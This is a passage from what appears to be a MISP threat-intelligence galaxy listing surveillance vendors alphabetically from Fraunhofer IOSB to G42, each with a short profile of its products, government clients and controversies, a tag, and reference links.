The Fraunhofer Institute of Optronics, System Technologies, and Image Exploitation (Fraunhofer IOSB) is a research organization based in Karlsruhe, Germany. It develops what they market as "intelligent video surveillance systems" which includes AI-driven image analysis and tracking movement patterns. The institute has been a key partner in Mannheim's pilot surveillance project, which began in 2018. The system, which includes 76 cameras installed in what they consider to be "high-crime areas", transmits surveillance data to the Mannheim Police Headquarters via a sealed fiber-optic network.

The tag is: *misp-galaxy:surveillance-vendor="Fraunhofer IOSB"*

Table 17727. Table References

Links
https://algorithmwatch.org/en/mannheim-system-reports-hugs-police/
https://www.iosb.fraunhofer.de/en/projects-and-products/intelligent-video-surveillance.html
https://www.greens-efa.eu/opinions/facial-recognition-in-european-cities-what-you-should-know-about-biometric-mass-surveillance/
https://www.greens-efa.eu/biometricsurveillance/
https://www.eff.org/deeplinks/2016/11/researchers-matched-images-tattoo-websites-german-police-database

Frontiir

Frontiir is a Myanmar-based internet service provider (ISP) that has been facilitating digital surveillance for the country's military junta. The company operates under the Myanmar Net brand, providing internet services to millions of users. Investigations have revealed that Frontiir hosts surveillance equipment developed by Geedge Networks, a Chinese cybersecurity firm founded by Fang Binxing, known as the "father" of China's Great Firewall. This equipment reportedly enables

the interception and decryption of web traffic, blocking of websites, and prevention of Virtual Private Network (VPN) usage, thereby restricting access to uncensored information. Frontiir's Yangon data center has been identified as housing this surveillance technology.

The tag is: *misp-galaxy:surveillance-vendor="Frontiir"*

Table 17728. Table References

Links
https://www.financeuncovered.org/stories/british-norwegian-and-danish-governments-back-internet-provider-in-military-run-myanmar-which-hosts-notorious-chinese-surveillance-system
https://www.business-humanrights.org/my/latest-news/myanmar-internet-service-provider-alleged-to-use-chinese-technology-to-monitor-users-online-incl-cos-comments/
https://www.irrawaddy.com/news/myanmar-china-watch/mastermind-of-chinas-great-firewall-powering-myanmar-juntas-digital-repression-report.html
https://www.frontiir.com/frontiir-products/innovation/

G4S

G4S is a British multinational security services company headquartered in London, United Kingdom. It provides a wide range of security-related services, including manned guarding, electronic security systems, and monitoring services. G4S has been involved in providing surveillance tools for Australia's offshore immigration detention centers, such as those on Manus Island. It has also provided surveillance equipment and services to Israeli checkpoints, prisons and police stations in the West Bank and Gaza. G4S has been responsible for managing and providing surveillance equipment at several immigration detention centers in the UK, such as Brook House and Tinsley House, which suffer from staff abuse, neglect, mistreatment of detainees, and poor living conditions. In 2021, Allied Universal acquired G4S for $5.28 billion.

The tag is: *misp-galaxy:surveillance-vendor="G4S"*

Table 17729. Table References

Links
https://www.business-humanrights.org/en/latest-news/g4s-linked-to-alleged-rights-abuse-israeli-military-checkpoints/
https://electronicintifada.net/blogs/nora-barrows-friedman/un-agency-jordan-dumps-g4s-over-human-rights-abuses
https://www.securitysales.com/business/mergers/allied-universal-seals-deal-g4s/

Gaggle

Gaggle is a Dallas, Texas based company that provides ongoing AI-powered surveillance in schools. The students' digital activities are closely monitored for indicators of certain behaviors. This surveillance includes homework, emails, photos, and chats, with alerts potentially leading to interventions that include police involvement. In some schools, Gaggle was integrated into all

school-issued Chromebooks, working with Google services such as Gmail, Google Docs, Google Slides, and Google Sheets. Whenever students type something, Google's auto-save feature activates, automatically routing the saved content through Gaggle for monitoring. As of May, 2024, Gaggle is currently in at least 1,500 K-12 districts in the U.S.

The tag is: *misp-galaxy:surveillance-vendor="Gaggle"*

Table 17730. Table References

Links
https://kansasreflector.com/2024/07/28/spyware-turned-this-kansas-high-school-into-a-red-zone-of-dystopian-surveillance/
https://www.kwtx.com/2024/05/21/student-device-surveillance-catching-more-than-just-potential-threats-district-says/
https://lawrencekstimes.com/2024/04/18/lhs-journalists-dispute-gaggle/
https://www.fastcompany.com/90748240/gaggle-school-content-moderation-privacy
https://ohiocapitaljournal.com/2024/08/21/ohio-school-districts-use-surveillance-software-to-monitor-student-devices/
https://www.the74million.org/article/spy-high-amazon-documentary-probes-dangers-of-online-student-surveillance/

Gatewatcher

Gatewatcher is a cybersecurity firm specializing in advanced threat detection and network surveillance. Its tools, like Trackwatch, use machine learning and behavioral analysis to monitor and analyze network behavior.

In 2024, Gatewatcher strengthened its collaboration with Saudi Arabia as part of the Franco-Saudi partnership on cybersecurity. The company provides advanced multi-vector detection technologies to the Saudi government.

Gatewatcher has also been embroiled in controversy due to legal allegations against its founder, Philippe Gillet, who has been accused of hacking and orchestrating violent attacks amid a dispute with former business partner Franck Berezay.

The tag is: *misp-galaxy:surveillance-vendor="Gatewatcher"*

Table 17731. Table References

Links
https://www.enterprisetimes.co.uk/2024/10/15/security-through-collaboration-france-and-saudi-arabia/
https://www.gatewatcher.com/en/press/gatewatcher-enters-kingdom-of-saudi-arabia-and-the-gcc-region-by-signing-a-strategic-partnership-with-aljammaz-technologies/
https://www.intelligenceonline.com/international-dealmaking/2020/09/15/gatewatcher-cofounder-philippe-gillet-in-court,109606791-art

Gedion

Gedion is a company headquartered in Lithuania which produces audio surveillance and location monitoring technology. In 2023, Gedion partnered with Pegasus Intelligence, a technology broker based in Dubai, to provide advanced surveillance equipment to primarily government clients in the Gulf Cooperation Council (GCC.)

The tag is: *misp-galaxy:surveillance-vendor="Gedion"*

Table 17732. Table References

Links
https://www.kxan.com/business/press-releases/ein-presswire/617767778/pegasus-intelligence-partners-with-gedion-to-bring-the-most-advanced-surveillance-equipment-to-clients-in-the-gcc/

Geedge Networks

Geedge Networks is a Chinese cybersecurity firm that helped build China's "Great Firewall" and now sells a commercialized version of that system abroad. Founded in 2018, the company's Tiangou Secure Gateway can filter websites and apps, conduct real-time surveillance, throttle or shut down entire regions of the internet, pinpoint anonymous users, and automatically block circumvention tools such as VPNs and Tor.

Leaked internal files show Geedge exporting these capabilities to authoritarian clients, including Kazakhstan, Ethiopia, Myanmar and Pakistan. In Pakistan, Geedge tech replaced Sandvine equipment in 2023 to create "WMS 2.0," the country's upgraded national firewall.

Engineers at Geedge actively reverse-engineer popular privacy tools, listing commercial VPNs as "resolved" problems and rolling out blockers like the Psiphon detector deployed after Myanmar's 2021 coup.

The tag is: *misp-galaxy:surveillance-vendor="Geedge Networks"*

Table 17733. Table References

Links
https://www.financeuncovered.org/stories/british-norwegian-and-danish-governments-back-internet-provider-in-military-run-myanmar-which-hosts-notorious-chinese-surveillance-system
https://www.amnesty.org/en/latest/news/2025/09/pakistan-mass-surveillance-and-censorship-machine-is-fueled-by-chinese-european-emirati-and-north-american-companies/
https://www.theglobeandmail.com/world/article-leaked-files-show-a-chinese-company-is-exporting-the-great-firewalls/
https://chinadigitaltimes.net/2025/09/two-major-leaks-illuminate-censorship-and-surveillance-sales-into-and-from-china/
https://eng.mizzima.com/2025/09/10/26237
https://www.wired.com/story/geedge-networks-mass-censorship-leak/

https://www.justiceformyanmar.org/stories/silk-road-of-surveillance

General Atomics

General Atomics Aeronautical Systems, Inc. (GA-ASI) is a major American aerospace company based in San Diego, California. GA-ASI designs and builds unmanned aircraft, most notably the Predator drone, which is widely used by the U.S. military and allied forces for surveillance and strike missions. The company operates as a subsidiary of General Atomics, a private firm established in 1955. GA-ASI has played a key role in advancing drone technology since the 1990s, supplying long-endurance aircraft and sensor systems for defense and intelligence operations. In June 2025, 404 Media revealed that the company's drones were used to surveil protests in Los Angeles.

The tag is: *misp-galaxy:surveillance-vendor="General Atomics"*

Table 17734. Table References

Links
https://www.404media.co/dhs-flew-predator-drones-over-la-protests-audio-shows/
https://gizmodo.com/feds-reportedly-sent-a-predator-drone-to-spy-on-la-protesters-2000613964
https://www.flyingmag.com/border-patrol-deploys-predator-drones-black-hawks-to-surveil-downtown-la/
https://www.ga.com/ga-asi-awarded-ai-smart-sensor-contract
https://www.ga-asi.com/products-services

General Dynamics

General Dynamics Corp is a major U.S. defense contractor involved in the development and deployment of surveillance technologies used in border enforcement and immigrant monitoring. Between 2005 and 2019, the company was a key contractor for U.S. Customs and Border Protection (CBP), building a so-called "smart/virtual" border along the U.S.–Mexico. Its Remote Video Surveillance Systems (RVSS), equipped with day and night capable cameras mounted on vehicles, enable near-constant monitoring of border regions, giving authorities unprecedented oversight over the movement of migrants.

General Dynamics Information Technology (GDIT), the company's IT and services arm, has expanded this surveillance infrastructure, including modernizing CBP's tower systems under the Consolidated Tower & Surveillance Equipment (CTSE) program. These towers, deployed across southern border regions such as Arizona (Nogales, Naco, Yuma, and Ajo) and Texas's Rio Grande Valley, concentrate state surveillance in communities where migrants are most vulnerable. Newer contracts also extend surveillance infrastructure to parts of the northern U.S. border with Canada, where surveillance towers are being installed or upgraded.

The tag is: *misp-galaxy:surveillance-vendor="General Dynamics"*

Table 17735. Table References

Links
https://www.gdit.com/about-gdit/press-releases/gdit-to-modernize-surveillance-tower-system-for-customs-and-border/
https://investigate.afsc.org/company/general-dynamics
https://www.eff.org/deeplinks/2024/10/us-border-surveillance-towers-have-always-been-broken
https://calmatters.org/california-divide/2024/01/border-patrol-california/
https://www.militaryaerospace.com/communications/article/16723775/general-dynamics-united-kingdom-acquires-kylmar

General Robotics

General Robotics Ltd. (GRL), based in Hod Hasharon, Israel, specializes in developing advanced robotic systems for military and defense applications. One of its products, "Pitbull", can be mounted on various platforms for remote surveillance activities. It was acquired in March, 2022 by the American company Sig Sauer, one of the world's leading arms, ammunition, and optical sights companies.

The tag is: *misp-galaxy:surveillance-vendor="General Robotics"*

Table 17736. Table References

Links
https://nationalinterest.org/blog/buzz/israel-using-robots-machine-guns-patrol-gaza-border-188602

Genetec

Genetec is a prominent provider of surveillance technology, supplying law enforcement with a range of invasive monitoring tools. Their offerings include video management systems, automatic license plate recognition (ALPR) software, and real-time crime center (RTCC) analytics to expand police surveillance networks. Genetec also leads a program to facilitate the process for law enforcement agencies to request and retrieve footage from private cameras.

In 2017, Genetec developed the Citigraf platform specifically for the Chicago Police Department (CPD), one of the largest police forces in the U.S., to help manage and analyze their extensive data collection. Powered by Microsoft Azure, Citigraf integrates information from surveillance sensors and database records, using both real-time and historical data to generate calculations, visualizations, and alerts that provide CPD with "deep situational awareness." Microsoft is collaborating with Genetec to advance this platform with a "correlation engine" designed to interpret surveillance data more effectively. In 2016, the city of Detroit in Michigan launched Project Green Light, which uses Genetec Stratocast and Microsoft Azure to stream surveillance footage from local businesses and other entities to the Detroit Police Department.

Microsoft has long provided facial recognition services to law enforcement through its extensive partnerships with Genetic and similar companies.

The tag is: *misp-galaxy:surveillance-vendor="Genetec"*

Table 17737. Table References

Links
https://www.govtech.com/biz/genetecs-new-tool-lets-cops-build-private-camera-registries
https://theintercept.com/2020/07/14/microsoft-police-state-mass-surveillance-facial-recognition/
https://www.eandblaw.com/wp-content/uploads/2021/02/Forums-on-NYPD-Use-of-Surveillance-Technology_Tech-Explainer-r.pdf
https://www.genetec.com/customer-stories/search
https://www.securityinfowatch.com/video-surveillance/license-plate-detection/press-release/21112326/flock-safety-flock-safety-announces-partnership-with-genetec

Genieo Innovation

Genieo Innovation, formerly called Anabel Software, is an Israeli company that specializes in developing software often categorized as adware, grayware or malware. In 2014, Genieo was acquired by Somoto for $34 million.

The tag is: *misp-galaxy:surveillance-vendor="Genieo Innovation"*

Table 17738. Table References

Links
https://en.globes.co.il/en/article-somoto-acquires-genieo-for-34m-1000958565
https://web.archive.org/web/20170219112934/https://www.thesafemac.com/apple-cracks-down-on-adware/

Geo Group

Geo Group is the largest private prison operator in the United States headquartered in Boca Raton, Florida. The company develops and distributes digital surveillance tools, including ankle monitors, smartwatches, and tracking apps to monitor immigrants under the U.S federal government's "Alternatives to Detention" program. This program, designed to track the whereabouts of immigrants, has been a lucrative venture for Geo Group, generating significant revenue.

The company's surveillance technology, including its facial recognition-powered SmartLink app, allows constant monitoring of immigrants' locations. Geo Group's technology has also facilitated deportation efforts, with its data being used by Immigration and Customs Enforcement (ICE) to locate and detain immigrants.

Geo Group operates internationally, including in South Africa, Australia, and the United Kingdom, where it provides monitoring and surveillance services related to prisons and mental health facilities.

The tag is: *misp-galaxy:surveillance-vendor="Geo Group"*

Table 17739. Table References

Links
https://www.theguardian.com/us-news/2022/mar/07/us-immigration-surveillance-ice-bi-isap
https://www.nytimes.com/2025/04/14/technology/trump-immigration-tech-geo-group.html
https://arkansasadvocate.com/2024/08/01/private-prison-giant-geo-group-ramps-up-lobbying-on-immigrant-surveillance/
https://www.theguardian.com/technology/2025/feb/27/migrant-surveillance-trump
https://prismreports.org/2025/01/30/ice-surveillance-immigrants/
https://www.vice.com/en/article/contractor-exposed-the-movements-of-people-wearing-ankle-gps-bracelets/
https://penncapital-star.com/civil-rights-social-justice/report-describes-inhumane-conditions-in-pennsylvanias-largest-immigration-detention-center/

GEOAI

GEOAI, also known as Guangzhou ImapCloud Intelligent Technology Co., Ltd., develops drone docking stations, edge computing modules, and AI-powered sensors to create integrated sky-to-ground monitoring systems. The company utilized Nvidia chips for its gait recognition technology that could identify individuals by their walking patterns.

The tag is: *misp-galaxy:surveillance-vendor="GEOAI"*

Table 17740. Table References

Links
https://www.ap.org/news-highlights/spotlights/2025/silicon-valley-enabled-brutal-mass-detention-and-surveillance-in-china-internal-documents-show/
https://www.geoai.com/en/company-profile.html

Geofeedia

Geofeedia was hired by California police departments after pitching its ability to identify civil rights protesters, according to an American Civil Liberties Union report. Without public hearings or civilian oversight, the Oakland Police Department has used it to conduct surveillance on large public gatherings, possibly including political protests.

The tag is: *misp-galaxy:surveillance-vendor="Geofeedia"*

Table 17741. Table References

Links
https://www.bloomberg.com/news/articles/2016-10-27/twitter-s-firehose-of-tweets-is-incredibly-valuable-and-just-as-dangerous
https://eastbayexpress.com/oakland-cops-quietly-acquired-social-media-surveillance-tool-2-1/

Geolitica

Geolitica, formerly known as PredPol, short for "Predictive Policing," is a software company that claims to use historical crime data to predict where crimes are likely to occur. Its surveillance capabilities rely on analyzing past crime reports, including time, location, and type of crime, to generate "hot spots" for law enforcement to monitor. This data-driven approach enabled police departments, such as the LAPD, to direct patrols and resources to specific areas flagged by the system. PredPol however specifically targeted Black and brown neighborhoods in the U.S, and its algorithms created often false and misleading data that intensified surveillance in these communities.

The tag is: *misp-galaxy:surveillance-vendor="Geolitica"*

Table 17742. Table References

Links
https://www.theguardian.com/us-news/2021/nov/07/lapd-predictive-policing-surveillance-reform
https://statescoop.com/oakland-calif-set-to-ban-predictive-policing-biometric-surveillance-tools/
https://theintercept.com/2018/05/11/predictive-policing-surveillance-los-angeles/
https://www.technologyreview.com/2020/07/17/1005396/predictive-policing-algorithms-racist-dismantled-machine-learning-bias-criminal-justice/
https://www.vice.com/en/article/dozens-of-cities-have-secretly-experimented-with-predictive-policing-software/
https://themarkup.org/prediction-bias/2023/10/02/predictive-policing-software-terrible-at-predicting-crimes

Geotab

Geotab is a provider of vehicle tracking and fleet management products. Its Geotab GO9 device provides comprehensive telematics capabilities, including real-time GPS tracking, vehicle diagnostics, and driver performance monitoring. Geotab has partnered with government agencies, including providing vehicle tracking systems to the U.S Immigration and Customs Enforcement (ICE). These systems allow ICE to monitor the locations and movements of vehicles used in immigration enforcement operations.

Geotab also works with police departments in Canada. The Belleville Police Service in Ontario has implemented Geotab’s telematics solutions in its fleet of 31 vehicles, including sedans, SUVs, and pickups.

The company claims to have devices installed in 130 countries and on all 7 continents. It also maintains offices in the U.S., the U.K., Germany, Spain, Australia, Mexico, China, France, Italy and Singapore.

The tag is: *misp-galaxy:surveillance-vendor="Geotab"*

Table 17743. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2021/04/01/these-companies-track-millions-of-cars-immigration-and-border-police-have-been-grabbing-their-data/
https://gizmodo.com/ice-is-reportedly-using-onstar-location-data-to-track-s-1846598616
https://fleetnewsdaily.com/homeland-security-geotab-telematics/
https://www.geotab.com/vehicle-tracking-device/
https://www.geotab.com/case-study/belleville-police-service/

Ghost Robotics

Ghost Robotics is a Philadelphia-based company that specializes in the development of advanced robotics systems, particularly focused on legged robots. Ghost Robotics' robots, like the Ghost Minitaur and others in their lineup, are equipped and utilized for surveillance purposes. The Israeli army has been using the company's robots in Gaza, according to news reports in Haaretz and other sources.

Its Vision 60 Quadrupedal Unmanned Ground Vehicles (Q-UGVs) have been deployed by the U.S. military for various applications. The U.S. Air Force has utilized these robotic systems at Tyndall Air Force Base and during Advanced Battle Management System (ABMS) exercises.

In 2024, Ghost Robotics entered a "strategic partnership" with South Korea's LIG Nex1, which acquired a 60% controlling stake in the company for $240 million.

The tag is: *misp-galaxy:surveillance-vendor="Ghost Robotics"*

Table 17744. Table References

Links
https://billypenn.com/2024/04/22/israel-palestine-gaza-robot-dogs-ghost-robotics/
https://technical.ly/startups/ghost-robotics-acquisition-south-korea-israel-military-protests/
https://kansascitydefender.com/world/ai-genocide-gaza-urgent-call-action-against-tech-tyranny/
https://www.haaretz.com/israel-news/2024-03-03/ty-article-magazine/.premium/gaza-becomes-israels-testing-ground-for-remote-control-military-robots/0000018e-03ed-def2-a98e-cfff1e640000
https://www.af.mil/News/Article-Display/Article/2551037/robot-dogs-arrive-at-tyndall-afb/

Giant Oak

Giant Oak Inc. is a U.S.-based company that develops data analytics and monitoring technologies. Their primary product, Giant Oak Search Technology (GOST), is a tool designed to analyze and filter large amounts of online data, including social media, to identify individuals and networks of interest. Founded by Gary Shiffman, a former U.S. Navy veteran and DARPA researcher, Giant Oak has received millions in U.S government contracts since 2014. These contracts include work with agencies such as Immigration and Customs Enforcement (ICE), the Department of Homeland Security (DHS), and others, for purposes such as immigration enforcement and intelligence

investigations.

Originally developed from earlier projects like "Social Locator," GOST creates detailed profiles by analyzing digital traces, highlighting keywords, and providing visual summaries of online activity. It has been used to flag "derogatory" content on social media. GOST also allows agencies to search for individuals using identifiers like names, addresses, or emails and ranks results based on specific requirements. Additionally, it can screen and rank large groups of individuals simultaneously.

In February 2024, Saifr, a compliance solutions provider created by Fidelity Investments, announced the acquisition of GOST.

The tag is: *misp-galaxy:surveillance-vendor="Giant Oak"*

Table 17745. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2017/09/27/trump-immigration-social-media-surveillance-giant-oak-penlink-palantir/
https://www.404media.co/inside-ices-database-derogatory-information-giant-oak-gost/
https://www.theregister.com/2023/10/25/ice_social_media_surveillance/
https://www.latintimes.com/ice-plans-monitor-negative-social-media-discussion-about-agency-its-top-officials-report-575683
https://newsroom.fidelity.com/pressreleases/saifr—expands-tech-capabilities-by-acquiring-new-solution-to-help-financial-services-navigate-risin/s/32bff10a-8ef2-4ec1-be10-9394db03535b

Giza Systems

Giza Systems is a partner of Nexign, formerly known as Peter-Service, a Russian company that specializes in providing software and services for telecommunications companies. According to its website, Nexign’s products have been delivered to 12 countries and includes the surveillance company Protei as a partner. In a press release, data collection is listed as one of the services that will be provided as part of the partnership between Giza Systems and Nexign.

The tag is: *misp-galaxy:surveillance-vendor="Giza Systems"*

Table 17746. Table References

Links
https://channelpostmea.com/2019/07/18/nexign-partners-with-cairo-based-giza-systems/
https://nexign.com/newsroom/press-releases/Nexign-Partners-with-Giza-Systems
https://cepa.org/article/russia-exports-digital-surveillance-despite-sanctions/

Glimmerglass

Glimmerglass was a U.S.-based technology company that built optical networking products, including technology that facilitates the interception of undersea fiber-optic cables.

Glimmerglass has reportedly provided systems capable of monitoring and analyzing internet traffic, including services like Facebook, Twitter and Gmail. Their technology included 3D MEMS (Micro-Electro-Mechanical Systems) solutions, which allow for the interception and duplication of light signals transmitted through fiber-optic cables. This enables agencies to capture the full content of communications, not just metadata, for intelligence purposes. The company has acknowledged that its systems are deployed in multiple countries for "lawful interception" under anti-terrorism laws. Its tools are marketed as providing intelligence agencies with full control over massive flows of data, including the ability to analyze communications in real time. Confidential materials from Glimmerglass have demonstrated its ability to map social networks, monitor webmail, and intercept phone calls.

The company was re-named “VSocial Technologies” in 2021 and continues to operate under that brand.

The tag is: *misp-galaxy:surveillance-vendor="Glimmerglass"*

Table 17747. Table References

Links
https://www.motherjones.com/politics/2013/10/tech-companies-online-surveillance-nsa/
https://www.theatlantic.com/international/archive/2013/07/the-creepy-long-standing-practice-of-undersea-cable-tapping/277855/
https://www.corpwatch.org/article/glimmerglass-intercepts-undersea-cable-traffic-spy-agencies
https://siliconangle.com/2013/07/19/how-the-nsa-taps-undersea-fiber-optic-cables/
https://wikileaks.org/spyfiles/files/0/275_GLIMMERGLASS-Catalogue-2011.pdf
https://www.businesswire.com/news/home/20110426005383/en/Glimmerglass-Networks-and-IPSRESI-Group-Partner-to-Provide-End-to-End-Cyber-Security-Solutions

Gloo

Gloo, a data analytics company, uses digital surveillance to benefit churches and evangelical campaigns. The company mines personal online data, often belonging to vulnerable populations like immigrants or those facing personal crises, to enable churches to target individuals.

Gloo has been linked to campaigns like the $1 billion "He Gets Us" initiative, which uses targeted advertising to promote Christian messages. Although "He Gets Us" initially denied selling data to Gloo, evidence showed that Gloo used data from their campaigns to sell contact information of individuals seeking spiritual support to churches.

Through Gloo’s Explorer program, the personal data of individuals responding to "He Gets Us" social media ads was sold to local pastors or anyone willing to pay $49/month. This included sensitive information, such as contact details, without proper vetting or guidelines on how the data should be used. In one incident, a pastor publicly shared private messages from a person and exposed her identity to everyone in her church after she responded to an ad on Instagram.

The tag is: *misp-galaxy:surveillance-vendor="Gloo"*

Table 17748. Table References

Links
https://newrepublic.com/article/179397/evangelical-app-targeting-immigrants-surveillance
https://www.patheos.com/blogs/keithgiles/2024/05/they-exploit-us-updating-he-gets-us-and-gloo-article/
https://www.patheos.com/blogs/keithgiles/2024/05/betrayal-from-he-gets-us-to-he-tricked-us/
https://finance.yahoo.com/news/gloo-announces-ai-licensing-platform-231400951.html

GMEA Group

GMEA Group is a prominent African conglomerate headquartered in Ghana. They provide various surveillance technologies, including IMSI-catcher tools, which intercept mobile phone traffic and track user location data. These devices function as "fake" mobile towers, enabling interception between a mobile phone and its service provider's actual towers, facilitating man-in-the-middle attacks.

The tag is: *misp-galaxy:surveillance-vendor="GMEA Group"*

Table 17749. Table References

Links
https://www.gmea.com/IMSI.aspx

GoLaxy

GoLaxy surveils and shapes online opinion for the Chinese Communist Party (CCP). Its platforms ingest social media data, map networks of political actors and influencers, and use AI to generate and deploy content; operators monitor sensitive topics (Taiwan, Hong Kong, Xinjiang, U.S. politics) and intervene by seeding narratives or amplifying aligned voices in order to flood information channels with pro-government messaging. It tracked people in Hong Kong to counter opposition to the 2020 Hong Kong National Security Law.

GoLaxy's primary customers are CCP propaganda departments, state security services, provincial police departments, and the military. The company's inner workings were exposed through nearly 400 pages of leaked planning documents. The company maintains close ties with the Chinese Academy of Sciences and pitches its tools to provincial-level agencies that fund localized monitoring and influence operations.

The tag is: *misp-galaxy:surveillance-vendor="GoLaxy"*

Table 17750. Table References

Links
https://thediplomat.com/2025/09/inside-chinas-surveillance-and-propaganda-industries-where-profit-meets-party/
https://www.wired.com/story/made-in-china-how-chinas-surveillance-industry-actually-works/

https://www.nytimes.com/2025/08/06/us/politics/china-artificial-intelligence-information-warfare.html
https://www.taipeitimes.com/News/taiwan/archives/2025/09/24/2003844335
https://therecord.media/golaxy-china-artificial-intelligence-papers
https://www.publicisgroupe.com/en/news/press-releases/publicis-media-china-co-launches-publicis-media-intelligent-insights-pmi2-with-institute-of-computing-tecnology-a-member-of-chinese-academy-of-sciences-en-1

Gorilla Technology

Gorilla Technology develops AI-powered products for smart cities and surveillance. Their technologies include iCCTV, which uses AI video analytics to improve surveillance techniques, and IVAR (Intelligent Video Analytics Recorder), which analyzes CCTV footage to identify people, vehicles, and objects.

Gorilla's Smart Policing Solutions integrate AI-driven tools, such as a Criminal Intelligence Big Data Platform, a Criminal Intelligence Analysis Platform, and predictive patrol systems, to assist law enforcement in their activities. The company also offers facial recognition technologies as part of its video analytics capabilities for real-time identification and monitoring.

The tag is: *misp-galaxy:surveillance-vendor="Gorilla Technology"*

Table 17751. Table References

Links
https://www.gorilla-technology.com/offerings/smart-policing-solutions/
https://investors.gorilla-technology.com/revolutionising-tourism-safety-royal-thai-tourist-police-gorilla-technology-lead-thailands-global-ai-initiative/
https://www.newsfilecorp.com/release/221868/Gorilla-Technology-Secures-Two-Major-Wins-in-Taiwan-Advancing-Airport-Security-and-National-Law-Enforcement-Capabilities
http://koreabizwire.com/gorilla-technology-group-wins-multi-million-dollar-5g-telecom-and-network-investigation-project-with-taiwanese-law-enforcement-agency/252066
https://www.gorilla-technology.com/about-us/global-footprint/

Gravy Analytics

Gravy Analytics is a company that provides location intelligence and data analytics services. It's the parent company of Venntel, which sells smartphone location data, including to U.S. government agencies. It provides detailed location data that can help law enforcement agencies understand patterns of movement and behavior in specific areas. In 2023, Gravy Analyrics merged with Unacast, a company that uses machine learning and artificial intelligence to provide location intelligence products.

In January 2024, hackers claim to have breached the company. The hackers allege they have stolen sensitive data such as customer lists, industry information, and precise location data from

smartphones, threatening to release it publicly.

The tag is: *misp-galaxy:surveillance-vendor="Gravy Analytics"*

Table 17752. Table References

Links
https://arstechnica.com/tech-policy/2022/07/dhs-bought-shocking-amount-of-warrantless-phone-tracking-data-aclu-says/
https://www.unacast.com/post/unacast-and-gravy-analytics-merge
https://www.vice.com/en/article/5d3gmb/documents-show-dhs-tracks-smartphones-across-the-country
https://www.404media.co/hackers-claim-massive-breach-of-location-data-giant-threaten-to-leak-data/

Graylark

Graylark Technologies is the developer of a tool called GeoSpy. According to 404 Media, GeoSpy is a powerful AI tool capable of geolocating photos within seconds by analyzing features such as vegetation, architecture, and building distances. Initially accessible to the public, the tool has since been restricted to law enforcement and government agencies after its misuse for stalking. GeoSpy claims to have the ability to simplify complex geolocation tasks that typically require years of expertise, making it accessible to users with minimal training.

The tag is: *misp-galaxy:surveillance-vendor="Graylark"*

Table 17753. Table References

Links
https://www.404media.co/the-powerful-ai-tool-that-cops-or-stalkers-can-use-to-geolocate-photos-in-seconds/
https://www.technadu.com/ai-powered-tool-geospy-sparks-privacy-concerns-after-public-misuse/570730/
https://mspoweruser.com/geospy-ai-review/
https://www.hypefresh.com/geospys-ai-geolocation-tool-is-raising-alarming-privacy-concerns/

Grayshift

Grayshift, an American company best known for its tools to unlock encrypted mobile devices, has reportedly supplied its technology to Belarusian authorities to hack into locked mobile devices, aiding the Belarusian government in its extensive surveillance operations. These measures include real-time video monitoring systems and direct access to communications data.

Its core product, GrayKey, is a forensic access tool that enables the extraction of encrypted or inaccessible data from mobile devices, including those protected by alphanumeric passcodes.

In 2023, Grayshift merged with Magnet Forensics, a Canadian digital forensics company, to create a combined entity focused on providing advanced digital investigation tools to law enforcement and public safety agencies.

The tag is: *misp-galaxy:surveillance-vendor="Grayshift"*

Table 17754. Table References

Links
https://web.archive.org/web/20201014125328/https://naviny.by/new/20180614/1528961675-apple-sdelaet-bespoleznym-oborudovanie-belorusskih-specsluzhb-po-vzlomu
https://freedomhouse.org/country/belarus/freedom-net/2019
https://sdpdtech.sandiego.gov/Grayshift%20Graykey/Surveillance+Impact+Report+-Grayshift+GrayKey_FINAL.pdf[https://sdpdtech.sandiego.gov/Grayshift%20Graykey/Surveillance+Impact+Report-+Grayshift+GrayKey_FINAL.pdf]
https://www.govtech.com/biz/magnet-forensics-to-merge-with-grayshift-after-1-35b-buyout
https://www.magnetforensics.com/resources/how-rochester-police-use-magnet-graykey-to-access-key-mobile-evidence/
https://www.wired.com/story/police-iphone-hacking-grayshift-graykey-uk/
https://www.cbc.ca/news/canada/new-brunswick/fredericton-police-cellphones-graykey-1.7230923

Griffeye

Griffeye is the Swedish developer behind Griffeye Analyze Deep Pro, a multi-source data analysis system for police forces. According to the Balkan Investigative Reporting Network (BIRN), the Ministry of Internal Affairs (MUP) of Serbia purchased Griffeye facial recognition software in 2022.

Griffeye Analyze DI Pro can recognize faces based only on the eyes, even when the eyes are not visible under certain conditions. It can also download large amounts of personal data from the internet and then search, sort, cross, and process it based on metadata such as GPS coordinates, the time when an image was taken, or phone serial numbers. Europol has used the software since 2019.

The Griffeye Analyze platform is used by over 1,000 police agencies across the world.

Magnet Forensics, a developer of digital investigation technologies used in over 90 countries, acquired Griffeye in August, 2023.

The tag is: *misp-galaxy:surveillance-vendor="Griffeye"*

Table 17755. Table References

Links
https://balkaninsight.com/2022/04/12/serbia-targets-purchase-of-powerful-swedish-facial-recognition-software/
https://edri.org/our-work/serbia-government-retracts-again-on-biometric-surveillance/

https://www.worldpolicesummit.com/press-releases/magnet-forensics-acquires-griffeye-leading-digital-media-forensics-software-firm
https://secure.ipex.eu/IPEXL-WEB/download/file/8a8629a872e48b7c01734d97fbde4868/2020%2B05%2B07%2BMEP%2BBreyer_Facial%2Brecognition_EUROPOL%2Breply.pdf

Group 42 (G42)

Group 42, more commonly known as G42, is a UAE-based artificial intelligence whose staff include former members of DarkMatter, which was staffed by former NSA operatives who conducted hacking and surveillance on behalf of the United Arab Emirates under the codename "Project Raven." Human rights advocates and journalists are often targeted. Among them was G42 CEO Peng Xiao, who for years ran DarkMatter's Pegasus program. In 2021, three former U.S. intelligence and military officials admitted to providing sophisticated computer hacking technology to the UAE while working at DarkMatter. The firm has established a joint venture with state-owned Israeli defense company Rafael Advanced Defense Systems.

G42 has been linked to surveillance through its acquisition of UAE's Botim app, which is officially promoted as a secure messaging and VoIP platform but has been reported to facilitate government monitoring of users' communications.

Botim was developed by Algento, a private American technology company headquartered in San Francisco, California. The company operates subsidiaries in Dubai (Algento DMCC), Beijing (Beijing Aojintuo), and Hong Kong (Algento Cloud Computing Limited).

The tag is: *misp-galaxy:surveillance-vendor="Group 42 (G42)"*

Table 17756. Table References

Links
https://web.archive.org/web/20240215105255/https://www.g42.ai/resources/news/g42-and-rafael-form-new-jv
https://apnews.com/article/cop28-climate-summit-surveillance-cameras-g42-activists-f93fd3c0d5759ba2378cac22994af90e
https://www.thenationalnews.com/business/technology/2023/01/12/g42-backed-astra-tech-acquires-voip-app-botim-after-500m-funding-round/
